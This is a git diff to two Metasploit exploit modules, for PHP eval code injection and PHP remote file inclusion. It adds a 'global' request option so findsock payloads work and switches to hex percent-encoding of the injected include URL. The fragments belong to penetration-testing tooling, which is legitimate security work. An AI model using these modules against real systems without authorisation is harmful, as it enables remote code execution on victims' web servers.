diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index 28c1f5c879..d8c0c88a8e 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -65,6 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub)) response = send_request_raw({ + 'global' => true, 'uri' => uri, 'headers' => { headername => payload.encoded, diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index 88acc08be5..8d87c3293c 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -58,11 +58,15 @@ class Metasploit3 < Msf::Exploit::Remote # very short timeout because the request may never return if we're # sending a socket payload timeout = 0.01 - uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url)) + uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%")) print_status("Trying uri #{uri}") - response = send_request_raw({ 'uri' => uri },timeout) + # The option {'global' => true} is required to make findsock payloads work + response = send_request_raw( { + 'global' => true, + 'uri' => uri, + },timeout) handler end -end \ No newline at end of file +end